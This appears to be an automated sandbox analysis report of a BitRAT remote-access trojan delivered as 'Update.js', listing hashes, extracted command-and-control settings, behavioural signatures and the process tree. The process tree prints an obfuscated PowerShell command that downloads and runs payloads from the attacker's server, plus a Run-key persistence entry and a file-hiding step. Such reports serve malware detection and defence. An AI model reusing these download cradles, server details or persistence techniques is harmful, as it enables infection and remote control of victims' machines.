Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
25-04-2024 15:38
Static task
static1
Behavioral task
behavioral1
Sample
Update.js
Resource
win11-20240412-en
General
-
Target
Update.js
-
Size
439KB
-
MD5
7125357715f688577910416555a1997a
-
SHA1
494f4befa879ac5174ddfd2c0f0ff0c711251eb8
-
SHA256
8fe424869272394512941904c4b1ba7039ac2a514acb9861e613f5e85222d9a7
-
SHA512
05cc9f9e6046866090395624cee673439ec4cd896fd3c24010a209ab54789ab9e93b45907b403aeb04fd7d8a50cbe35eed2e9c80847cd1f2cc51785ad4a4f294
-
SSDEEP
1536:TBEEBEEBEPZBEwBEkBEGZBEiZBEGZBEGZBEG5+BEVBYBEG+BEVB/+BEBBEG+BEVq:6
Malware Config
Extracted
http://77.221.151.31/a/z.png
Extracted
http://77.221.151.31/a/s.png
Extracted
bitrat
1.38
77.221.151.31:4444
-
communication_password
7b13ff385b95cf25d53088d6b7c5d890
-
tor_process
tor
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exepowershell.exeflow pid process 1 4660 powershell.exe 2 888 powershell.exe -
Processes:
resource yara_rule behavioral1/memory/2060-33-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-34-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-35-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-39-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-41-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-43-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-45-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-46-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-47-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-48-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-49-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-50-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-51-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-52-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-53-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-54-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-55-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-57-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-58-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-59-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-61-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-60-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-62-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-63-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-64-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-65-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-66-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-67-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-68-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-69-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-70-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-72-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-74-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-75-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-77-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-79-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-81-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-83-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-85-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-86-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-87-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-89-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-90-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-91-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-93-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-94-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-95-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-97-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-99-0x0000000000400000-0x00000000007D3000-memory.dmp upx behavioral1/memory/2060-101-0x0000000000400000-0x00000000007D3000-memory.dmp upx -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-801765966-3955847401-2235691403-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "wscript //E:VBScript C:\\Users\\Public\\0x.log //Nologo" powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
RegSvcs.exepid process 2060 RegSvcs.exe 2060 RegSvcs.exe 2060 RegSvcs.exe 2060 RegSvcs.exe 2060 RegSvcs.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process target process PID 888 set thread context of 4076 888 powershell.exe RegSvcs.exe PID 4660 set thread context of 2060 4660 powershell.exe RegSvcs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 4660 powershell.exe 4660 powershell.exe 888 powershell.exe 888 powershell.exe 4660 powershell.exe 4660 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeRegSvcs.exedescription pid process Token: SeDebugPrivilege 4660 powershell.exe Token: SeDebugPrivilege 888 powershell.exe Token: SeShutdownPrivilege 2060 RegSvcs.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
RegSvcs.exepid process 2060 RegSvcs.exe 2060 RegSvcs.exe -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
wscript.exepowershell.exepowershell.execmd.exedescription pid process target process PID 1736 wrote to memory of 4660 1736 wscript.exe powershell.exe PID 1736 wrote to memory of 4660 1736 wscript.exe powershell.exe PID 1736 wrote to memory of 888 1736 wscript.exe powershell.exe PID 1736 wrote to memory of 888 1736 wscript.exe powershell.exe PID 888 wrote to memory of 4076 888 powershell.exe RegSvcs.exe PID 888 wrote to memory of 4076 888 powershell.exe RegSvcs.exe PID 888 wrote to memory of 4076 888 powershell.exe RegSvcs.exe PID 888 wrote to memory of 4076 888 powershell.exe RegSvcs.exe PID 888 wrote to memory of 4076 888 powershell.exe RegSvcs.exe PID 888 wrote to memory of 4076 888 powershell.exe RegSvcs.exe PID 888 wrote to memory of 4076 888 powershell.exe RegSvcs.exe PID 888 wrote to memory of 4076 888 powershell.exe RegSvcs.exe PID 888 wrote to memory of 4076 888 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 1672 4660 powershell.exe cmd.exe PID 4660 wrote to memory of 1672 4660 powershell.exe cmd.exe PID 1672 wrote to memory of 392 1672 cmd.exe attrib.exe PID 1672 wrote to memory of 392 1672 cmd.exe attrib.exe PID 4660 wrote to memory of 4040 4660 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 4040 4660 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 4040 4660 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 2060 4660 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 2060 4660 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 2060 4660 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 2060 4660 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 2060 4660 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 2060 4660 powershell.exe RegSvcs.exe PID 4660 wrote to memory of 2060 4660 powershell.exe RegSvcs.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/z.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x.log3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h C:\Users\Public\0x.log4⤵
- Views/modifies file attributes
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/s.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD55f4c933102a824f41e258078e34165a7
SHA1d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA256d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
SHA512a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD59b9c200437ca6453c1a7a66285ebbc98
SHA1238f1e7629bc0c371ba4fa3f0bb335302b21d909
SHA256e98bf0b04cdec1745689b16cccbae66f1ad977f178968736dbfc9a8f0f08c5ff
SHA51212c183cb8b99867d85a982066629267ce110dccc455a8a62bb1d9175db84aa603ba9a18b7e3fed99d84e94ccffe78af284f7743df46753057bcaefda94c55926
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4kghkgs.mvm.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Public\0x.logFilesize
62KB
MD5d2e9de8671fd61605ff5f8b8f3249d6b
SHA138dc0accb9c561c4f2ed9cc565f73a09eb84e81c
SHA256fcdaa801a02c05faa8e09a1abb75ab4b8b4a57e1d097cc5feb63b95280230e5c
SHA512413abbf5eb1a19fec41bbf31cfa524a8c88f049ae624c2b8f8cd40b3dc6ca37b99a45e74cfcb3422bee104e218ebc6b3d38f22b5b9afbd967545aa862b15a106
-
memory/888-29-0x00007FFAA9530000-0x00007FFAA9FF2000-memory.dmpFilesize
10.8MB
-
memory/888-19-0x00007FFAA9530000-0x00007FFAA9FF2000-memory.dmpFilesize
10.8MB
-
memory/888-20-0x000001A174AD0000-0x000001A174AE0000-memory.dmpFilesize
64KB
-
memory/888-21-0x000001A174AD0000-0x000001A174AE0000-memory.dmpFilesize
64KB
-
memory/888-24-0x000001A175230000-0x000001A17523E000-memory.dmpFilesize
56KB
-
memory/2060-54-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-59-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-101-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-99-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-97-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-33-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-34-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-35-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-95-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-94-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-39-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-41-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-93-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-91-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-43-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-44-0x0000000074570000-0x00000000745AC000-memory.dmpFilesize
240KB
-
memory/2060-45-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-46-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-47-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-48-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-49-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-50-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-51-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-52-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-53-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-90-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-55-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-57-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-58-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-89-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-61-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-60-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-62-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-63-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-64-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-65-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-66-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-67-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-68-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-69-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-70-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-72-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-74-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-75-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-77-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-79-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-81-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-83-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-85-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-86-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/2060-87-0x0000000000400000-0x00000000007D3000-memory.dmpFilesize
3.8MB
-
memory/4076-25-0x0000000000400000-0x000000000044E000-memory.dmpFilesize
312KB
-
memory/4076-42-0x0000000000400000-0x000000000044E000-memory.dmpFilesize
312KB
-
memory/4076-31-0x0000000000400000-0x000000000044E000-memory.dmpFilesize
312KB
-
memory/4076-30-0x0000000000400000-0x000000000044E000-memory.dmpFilesize
312KB
-
memory/4660-8-0x000001C72A820000-0x000001C72A842000-memory.dmpFilesize
136KB
-
memory/4660-40-0x00007FFAA9530000-0x00007FFAA9FF2000-memory.dmpFilesize
10.8MB
-
memory/4660-17-0x00007FFAA9530000-0x00007FFAA9FF2000-memory.dmpFilesize
10.8MB
-
memory/4660-18-0x000001C742CB0000-0x000001C742CC0000-memory.dmpFilesize
64KB
-
memory/4660-22-0x000001C742CB0000-0x000001C742CC0000-memory.dmpFilesize
64KB